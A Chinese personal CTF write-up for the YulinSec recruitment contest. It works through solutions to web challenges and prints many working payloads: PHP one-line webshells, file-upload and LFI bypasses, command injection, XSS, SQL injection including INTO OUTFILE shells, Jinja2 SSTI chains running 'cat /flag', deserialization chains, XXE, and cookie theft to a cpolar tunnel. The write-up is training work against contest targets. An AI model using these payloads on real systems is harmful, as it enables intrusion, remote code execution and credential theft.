御林招新赛个人wp
BASIC
布什戈门,你管这叫basic( ——9.26
好吧跟那一帮群魔乱舞比起来和善多了——10.24
ENCODE
四串分别对应四种加密/编码方式
014380f217e124ad3213bcbf3cb794f4 —–MD5加密
%53%65%63%7b%77%65%5f%6d%75%35%74%5f%6b%6e%30%77 —–URL编码
X2MwbW0wbg== —–base64编码
_enc0d1ngs} —–HTML实体编码
(话说好像根本不需要解第一串欸)
CALC-1
小学生都知道6*11=66,但是只能输入一个字符
众所周知,我输入≠服务器接收
BurpSuite拦截抓包修改结果为66,完成
CALC-2
小学生也知道600+60+6=666,但实际上无论输入什么都会弹出“禁止666!”
看源代码可以得知当check返回true时输入的内容才可能被上传
若要改false为true,惟能把网站的文件用本地文件替换(顺便把弹窗代码删了)
替换后输入666,得到flag
【hackbar POST 也可以……】
CALC-3
题目代码实际是让人类在两秒内算出两个随机数的和
写个jio本用正则表达式爬取两个数字并计算和,加入获取到的cookie,然后post就好了,非常简单?
error0:把数字变量当成字符串拼接
error1:不加cookie
error2:忘了接收数据
HTTP
题目要GET,就写脚本给它GET
题目要POST,就写脚本给他POST
由于POST和GET当时没有hackbar不会一起用,转而使用***/?key1=YulinSec
要求从YulinSec://127.0.0.1访问,在字典中加入”referer”:”YulinSec://127.0.0.1”
最后要求是admin,在headers中发现有”Set-Cookie”:”admin=0”,在字典中额外写入”Cookie”:”admin=1”,(记得加逗号),在header里找到flag
302
相对好查找解决方法的一题
做题时看到302重定向到自己一头雾水,于是尝试拦截
使用脚本,把url改成***yulinsec.cn/302.php,加入allow_redirects=False拦截重定向,成功从响应里找到flag
HTTPS
翻看headers找到一串被加密的cookie
丢给CMD5工具(www.cmd5.com),得出其类型是Json Web Token
丢给JWT解密工具发现playload里”admin“=“0”
将JWT解码的cookie改为”admin“=“1”后封装进python,找到flag
Local File Inclusion
①
第一题是真正的送分题。根据提示在phpinfo中改成file=flag.php即可
②
flag在‘某个文件’里,那么在哪呢
url=http://prob00-20d19db9337f51b8d01170e045f50620.recruit.yulinsec.cn/
?file=php://input
再POST提交<?phpsystem("ls");?>
访问出现的flag_xxx得到flag
③
input寄了,于是采用?file=data://text/plain,<?php system("ls");?>
访问出现的flag_xxx得到flag
④
data也寄了,于是用?file=php://filter/convert.base64-encode/resource=flag.php
找flag
获得base64编码的flag
⑤
根据源码提示,用burpsuite抓包写入I want flag,出现flag
⑥
提示了上传和’zip’,并且发现phpinfo页面的url没有.php后缀,随后确认代码会自动’帮‘我们加.php
利用phar函数,提交…………recruit.yulinsec.cn/index.php/?file=phar://./uploads/这是一串名字.zip/hak
在index里把马提出来,链接蚁剑找到flag
也可以在🐎里写入ls,看到flag的位置,包含得到flag
话说这个源码里注释了过滤phar的部分……那就是说不用phar也能做?
⑦
能用的伪协议都寄了,于是用在源码里提示的session文件
查找得知session文件的名称与sessionid有关,于是自己在cookie里设置PIPSESSID=114514,同时在a里设置要执行的php命令(一句话木马)
在phpinfo里确认路径为/var/lib/php/sessions
提交?a=<?php @eval($_POST['a']);echo * ?> &file=/var/lib/php/sessions/sess_114514
,蚁剑链接后找到flag
文件上传
①
第一题名字叫js绕过,故尝试关闭js后上传一句话木马,成功连接到服务器
②
第二题提示是.htaccess,于是写一个.htaccess文件 ,让它帮我们把jpg以php解析
怎么会有人保存为了a.htaccess啊(
③
第三题提示是MIME绕过,复制图片content-type的image/jpeg到php木马中
④
第四题需要文件头绕过,利用一个正常的png的头,在上传时抓包写入木马,并改后缀为php
⑤
第五题上传木马后发现php被删除
采用双写后缀pphphp绕过
⑥
第六题类似,但是删完会留一个空格,不能双写,采用大写绕过
⑦
第七题源码显示它使用get方法去获得路径
上传jpg格式的一句话木马,在Upload/后接name.php把文件以PHP保存
⑧
第八题与第七题类似(甚至长得都差不多),不过改用POST。也是在Upload/接name.php与截断。截断的目的是防止被保存路径里那一坨搞失效
⑨
第九题是黑名单缺陷,改成黑名单里没有的.php3即可
⑩
第十题的条件竞争,用一个intruder上传大马,另一个intruder访问大马,手动访问小马并蚁剑链接得到flag
⑪
第十一题的hint讲的很全面:先传一个gif再下载下来,找到相同的地方插入木马
⑫
花样百出の后缀
在名字处填写1.php/.,利用move_uploaded_file不识别/的缺陷绕过
⑬
十三题的代码逻辑大致上是先判断mime,再用数组查文件名,然后将数组的首位(一般是文件的名称)与n-1位(一般是后缀)拼接。
在save_name后面接[0]让它成为一个数组从而自定义其中的项,使得count-1返回的项与白名单中的元素不同
最终在包里呈现结果如下:
1 | Content-Type: image/png |
此时数组里有三个元素:用于通过白名单检测的jpg,位于第’3-1’项的后缀php与文件名1919.最终上传1919.php
RCE
⓪
第0题没有过滤,直接ip=1.1.1.1|cat /flag
即可
现成试验田(确信)
①
第一题过滤表:
| & ; $ ''
过滤命令分隔符
在burp里抓改包
ip=1.1.1.1%0acat /flag
②
第二题过滤表:
$ \ (反引号) '' "" - cat more less head tac tail nl od vi ls sort uniq file bash grep rev stings curl decode sh
过滤……一坨
find确认flag.php在当前目录下
ip=1.1.1.1|base64 flag.php
③
第三题过滤表:
$ (反引号)'' "" / [] - cat more less head tac tail od vi ls uniq bash grep rev stings curl decode shbase64
ip=1.1.1.1|echo *发现flag不在当前目录
由于 / 被过滤,选择暴力堆叠 cd..
回到根目录
ip=1.1.1.1&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&sort flag
是不是太多了
④
第四题过滤……表?
echo
将ls输出的结果作为输入传给tee,写入到1.txt里
ip=1.1.1.1| ls / | tee 1.txt
包含确认flag的位置后用类似的方法得到flag
XSS
①
第一题只有URL可能造成弹窗,且源代码中有”find the name“提示
在URL中写入
?name=<script>alert(114)</script>
②
第二题转换了<>与”
使用不含被过滤符号的语句绕过
(当然要先闭合value)
'onfocus=alert(114) x='
虽然在弹窗触发前就搞到flag了(
③
第三题与第二题类似,将 ‘ 换为 “ 即可
"onfocus=alert(114) x="
④
第四题分隔了on与script,同时大小写也无法绕过
查B站大学得知可以自己加一个元素创造alert,从而避免在value中被过滤(?)
"><a href=javascript:alert(114)>Clickme</a x="
⑤
第五题过滤删除了script,闭合value并双写绕过即可
"><scrscriptipt>alert(114)</scrscriptipt>
⑥
第六题分隔了href,script并在value处实体化<>
实体编码,启动!
javascript:alert(114)
⑦
第七题没有明显的输入位置且<>被过滤
翻看源码并用***.php?t_link=djwcb1&t_history=djwcb2&t_sort=djwcb3
尝试更改被隐藏的值
发现t_sort有变化,于是尝试在t_sort中植入按钮t_sort="onclick=alert(114) type="button""
找到flag
SQLI
Narcher sama官方认证的教程欸
①
union联合注入
提交?id=1 and 1=2
可以正常显示,说明是数字型注入
提交?id=4 group by 4
报错而2,3可以,说明这个表有三列
提交?id=0 union select 1,114514,1919810
发现后两位有回显
提交?id=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
在information_schema库里的看到叫flag的表
提交?id=0 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='flag'
在当前库里找到表flag
提交?id=0 union select 1,flag,3 from flag
获取flag
②
报错注入——extractvalue
提交?id=4 group by 4
报错说明表还是有三列
提交?id=0 union select 1,2,extractvalue(114,concat(0x7e,(select database())))
看到库名security
提交?id=1 union select 1,2,sthnotexist()
也可以看到库名security
后续模板:?id=0 union select 1,2,extractvalue(114,concat(0x7e,(【模板】))
提交?id=0 union select 1,2,extractvalue(114,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))
看到叫flag的表
提交?id=0 union select 1,2,extractvalue(114,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag')))
找到表flag
提交?id=0 union select 1,2,extractvalue(114,concat(0x7e,(select flag from flag)))
获取flag,但是flag太长了看不全,只能看到前32个字符
提交?id=0 union select 1,2,extractvalue(114,concat(0x7e,(select substring(flag,24,30) from flag)))
让它显示从24位开始的最多30位(避免漏掉中间部分),拼接得到完整flag
所以floor报错真就得 ?1……01 才能报错,中间还不能有00,哪个人才程序猿想出来的统计方式
③
提交?id=1 and 1=1
与?id=1 and 1=2
,前者返回OK(真)后者无回显(假)
事已至此,写脚本吧
1 | import requests |
用此原始脚本找到数据库名字确认当前库security
base_url=http://prob00-012.recruit.yulinsec.cn/?id=1 and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 1,1),
找到flag
base_url = "http://prob00-012.recruit.yulinsec.cn/?id=1 and ascii(substr((select flag from flag limit 0,1),"
获取flag 下次能不能别写这么长的flag
④
现在页面没有真假状态区分了,需要用sleep()函数判断代码是否正常执行
提交?id=1 and sleep(3)
页面等待约3秒刷新,说明是数字型
改jio本
选择遍历一定不是因为2分法出bug了(
1 | import requests |
快进到找flag
⑤
第五题过滤了union select or and () & | (非末尾的?空格??)--+ %23 %20
并且注释符无法绕过
提交?id=1"
出现"1"")) LIMIT 0,1
报错,确认为字符型
尝试” “) “)) “))),在加上第三个或更多括号时报错信息会出现这些额外的括号,得知闭合方式((”“))
空格利用%09绕过,关键字采用大写绕过
为了把后面的”))注释掉,采用–%09-的方式结尾
提交?id=0"))%09Union%09Select%091,2,flag%09from%09flag--%09-
获取flag
⑥
提交?id=0 union select 1,group_concat(flag),3 from flag
发现flag不在这里
提交id=0 union select 1,2,@@datadir
–>/var/lib/mysql/
提交?id=0 union select 1,2,"<?php @eval($_POST['a']);?>" into outfile "/var/lib/mysql/1.php"--+
写个🐎
连接成功。
在服务器里发现了一堆马,也就是说理论上不用上传也“能做”?后悔自己的马写的太简单了
⑦
感觉好像……过于简单了?
和第一题完全一样????????
(除了要用POST)
⑧
首先试图区分字符与数字型但发现没有用
查询得知宽字节绕过需要在 “ ‘ 前加上%df,在GBK中会变成%df%5c,合成一个汉字从而失去\的转义作用
试出闭合方式为””
快进到?id=0%df" union select 1,group_concat(flag),3 from flag--+
获取flag
SSTI
前置工作:在globals里找到os_wrap_close为第128位,在0起始就用127表示。post提交的数据名为text
①
No waf
{{''.__class__.__base__.__subclasses__()[127].__init__.__globals__['popen']('cat /flag').read()}}
②
双大括号
{% print(''.__class__.__base__.__subclasses__()[127].__init__.__globals__["popen"]("cat /flag").read()) %}
③
中括号
{{''.__class__.__base__.__subclasses__().__getitem__(127).__init__.__globals__.__getitem__('popen')('cat /flag').read()}}
④
下划线
text={{''|attr(request.args.class)|attr(request.args.base)|attr(request.args.subclasses)()|attr(request.args.getitem)(127)|attr(request.args.init)|attr(request.args.globals)|attr(request.args.getitem)('popen')('cat /flag')|attr('read')()}}
——payload
http://prob00-021.recruit.yulinsec.cn/?class=__class__&base=__base__&subclasses=__subclasses__&getitem=__getitem__&init=__init__&globals=__globals__
——url
⑤
引号
{{().__class__.__base__.__subclasses__()[127].__init__.__globals__[request.args.popen](request.args.cmd).read()}}
⑥
小数点
{{()['__class__']['__base__']['__subclasses__']()[127]['__init__']['__globals__']['popen']('cat /flag')['read']()}}
——法1
{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(127)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen')('cat /flag')|attr('read')()}}
——-法2
⑦
关键词
{{()['__cl'+'ass__']['__ba'+'se__']['__subc'+'lasses__']()[127]['__in'+'it__']['__glob'+'als__']['po'+'pen']('cat /flag')['read']()}}
⑧
构造过程中发现不能直接出现斜线……尝试拼接%2f又发现不能直接用%,(一番激烈的STFW与拷打后)用urlencode获取后直接拼接%2f还是不能正常显示。
尝试使用%c47,结果发现构造的47是字符串。
尝试使用set xie=%bc~((ssq)|int)
,但蹦出来%c47是真的绷不住
改成set xie=bc%((ssq)|int)
可以显示/
查询得到:%c是一个格式化字符串,用于将一个整数转换为其对应的ASCII字符。在Jinja2中,%操作符会将右侧的值(ssq,47)传递给左侧的格式化字符串(%c)
1 | 基础:{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(127)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen')('cat /flag')|attr('read')()}} |
⑨
在原本基础上把class、init与+换掉
1 | {% set two=dict(aa=a)|join|count %} |
只会一题的pwn
flag龙
1 | from pwn import * |
逃避可耻但有(?)用,直接无视flag龙打1走3(
PHP反序列化
(现阶段)手搓不比构造代码快(
(下文均为未base64编码版本)
首先找到注入点system,可以利用它执行系统命令
首先通过php弱类型MD5比较:诸如aabC9RqS之类MD5后0e开头的字符串在参与比较时会被当成科学计数法从而变成0
推测魔术方法触发顺序:__destruct() -> ___tostring() -> __get() -> __invoke() -> (command)
推测每一个对象所属的类:被反序列化的对象ser是类F,其user属性为aabC9RqS,notes属性是类T的对象,类T对象sth是类C的对象,类C对象的属性manba是类YULIN的对象,类YULIN的属性cmd是要执行的命令
构造基础:O:1:”F”:2:{s:4:”user”;s:8:”aabC9RqS”;s:5:”notes”;O:1:”T”:1:{s:3:”sth”;O:1:”C”:1:{s:5:”manba”;O:5:”YULIN”:1:{s:3:”cmd”;s:2:”ls”;}}}}
但是发现没有执行预期的ls命令
原来是 byd __wakeup(),虽然反序列化的主题是类F的对象,但是其中包含类YULIN的对象,于是也会触发__wakeup() ……?
搜索wakeup绕过,得知“当反序列化字符串中,表示属性个数的值大于真实属性个数时,会跳过 __wakeup() 函数的执行,是因为 PHP 在反序列化过程中,会忽略掉多出来的属性,而不会对这些属性进行处理和执行”
变更为O:1:”F”:114:{s:4:”user”;s:8:”aabC9RqS”;s:5:”notes”;O:1:”T”:1:{s:3:”sth”;O:1:”C”:1:{s:5:”manba”;O:5:”YULIN”:1:{s:3:”cmd”;s:2:”ls”;}}}}看到flag.php
使用O:1:”F”:114:{s:4:”user”;s:8:”aabC9RqS”;s:5:”notes”;O:1:”T”:1:{s:3:”sth”;O:1:”C”:1:{s:5:”manba”;O:5:”YULIN”:1:{s:3:”cmd”;s:12:”cat /flag.php”;}}}}得到……源码里的flag
backdoor
①
根据题目直接连接prob00-032.recruit.yulinsec.cn/index.php,连接密码为yulin
②
在原有的马的基础上添加了一句base64_decode,代表对传入yulin的值额外进行了一次base64解码,直接连yulin连不上。
在post提交的头里赋值yulin为base64编码的@eval($_POST['a']);
,让小明的马变成<?php @eval(@eval($_POST['a']););?>
,以a连入backdoor
或者改变蚁剑的默认编码器,不让他base64_encode,直接连小明的马进入backdoor
③
根据题里的“disable_functions”,下载同名的蚁剑扩展,cd到根目录后/getflag得到flag
调查问卷
非常好火狐,使我Priority: u=0,爱来自burpsuite
首先根据exx判断是xxe漏洞,且flag在/app/fl4g2533333333.txt
构造基础:
1 |
|
但是上传时发现SYSTEM和PUBLIC均被过滤,于是利用vscode将此文件编码格式与encording改成UTF-16BE,在burp里删除多出来的”þÿ“,提交,得到flag
神经御雷真诀
上
增多逃逸
上清境共分为六(?)层,分别为:ningshen yinspirit chu_qiao yangshen yuanshen
这六(?)层大多都是8个字符,除了yinspirit是9个(他真我哭),所以逃逸的重点在于如何在不主动传入yinspirit与ningshen的情况下让它搞出yinspirit
注意到”修炼等级”变化的过程是倒序的,也就是会先把chu_qiao变成yangshen,再把ningshen变成yinspirit。如果提交chu_qiaoingshen则会先变成yangsheningshen,再变成yangsheyinspirit,最终增多一个字符
而我们要逃逸的内容是";s:4:"tupo";s:4:"TuPo";}
,共25个字符,也就是25个chu_qiaoingshen
1 | ?Mnemonics_Shang=chu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshen";s:4:"tupo";s:4:"TuPo";} |
上半部分成功
下
下半至少没有逆天过滤了
太清境共分为三层,分别为:dongxu fanxu kongming
首先免费薅一个序列化字符串出来,把xiaocheng改成dacheng
要逃逸的内容:";s:7:"advance";O:7:"Dong_Xu":1:{s:7:"advance";O:6:"Fan_Xu":1:{s:7:"advance";O:9:"Kong_Ming":1:{s:7:"dacheng";s:7:"DaCheng";}}}}
fanxu被过滤,kongming没有用,只能用dongxu
每一个dongxu变成fanxu会多吃掉一个字符
要吃掉的内容";s:7:"advance";s:128:"
共计23个字符,也就是23个dongxu
1 | Mnemonics_Tai1=DongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXu |
杂鱼杂鱼~
提示说“溢出”,那么哪里可能溢出呢?如果提交通过MD5弱类型比较的数据,其中的username就会被echo,如果我们的名字很长,就会造成php缓冲区溢出,让雌小鬼提前告诉我们flag的位置
那么足够长且能通过MD5比较的字符串哪里找?有一个MD5生成器,可以根据某源文件生成两个不同但是MD5值相同的文件。通过控制源文件的内容,就能一定程度控制这个字符串的长度
1 | from pwn import * #也许这就是这一题的url不太一样的原因? |
包含点啥
是文件包含吗?如是!
使用everything和cpolar配合把本地的文件放到公网,让题目通过pecl下载
payload:?file=/usr/local/lib/php/pearcmd&+install+🐎所在的url
结果连进去后又一次不能直接读flag,旁边还放着一个二进制文件readflag
试图 ./readflag ,结果输出了……一个算式?(真没看懂)
无奈使用神秘小脚本获取flag(果咩纳塞)
点击加入我们的战队
①
看似一点过滤没有,实则所有的<script>都不能执行。
在响应头里看到SCP:Content-Security-Policy: default-src ‘self’; object-src ‘none’; script-src ‘self’; style-src ‘unsafe-inline’; report-uri /info.php?token=[token]
script-src是’self‘基本堵死了注入点
但是既然他把token写在了响应头里,我们又能控制token的内容……
提交name=%22%3E%3Cscript%3Ealert(1)%3C/script%3E&token=11%0D%0A%0D%0A11
可以执行javascript
原理大概是token会被写入响应头,用于组成“汇报违规行为”的url,但是\r\n\r\n(%0D%0A%0D%0A)把SCP挤到content里面了……就这么水灵灵的绕过了?
既然SCP没了,就可以为所欲为了
用Cpolar Web UI映射一个本地段口上去并用脚本监视:
1 | #感谢FittenCode的友情赞助(bushi |
比如说映射的url:http://27cf9959.r24.cpolar.top
使用另一段脚本拿到payload:
1 | import pyperclip |
由于我们先把payload交给shad0wwalker,shad0wwalker再去访问,所以要执行第一次编码
hackbar提交需要”手动“执行第二次编码
hackbar里POST提交send=运行结果password=YOUGOTTHEPASSWD
(也可以不加第二次编码,而是在send框内里直接提交第一次编码完拼接后的payload,让浏览器代行)
②
在/flag2.php里找到hint:httponly,结合这一题的名字byP4ss,应该是要绕过httponly了
能查到的方法,也就phpinfo泄露cookie相对合理
但是由于我们没有cookie,所以phpinfo泄露不出来……
🤓👆 那么让有cookie的人去访问不就好了
1 | import pyperclip |
把上面脚本的输出payload send给Suzuran,在监听的段口处获取到password
password=HTTPONLYWASDOWN
③
http://prob00-039.recruit.yulinsec.cn/sennnnnd3.php
在flag页面发现“你的IP:10.222.0.22你并不来自本机(这无法绕过)!或者你的session错误或早已过期(限制3s)….”
窃取完PHPSESSID并用∠本访问后发现还是不行
既然session没有过期,那就只能是IP的问题,于是选择让FAKEsake访问flag页面
1 | import socket |
唐喵
在附件里的BOOT_INF–classes–application里找到flag1以及其余flag的提示(?)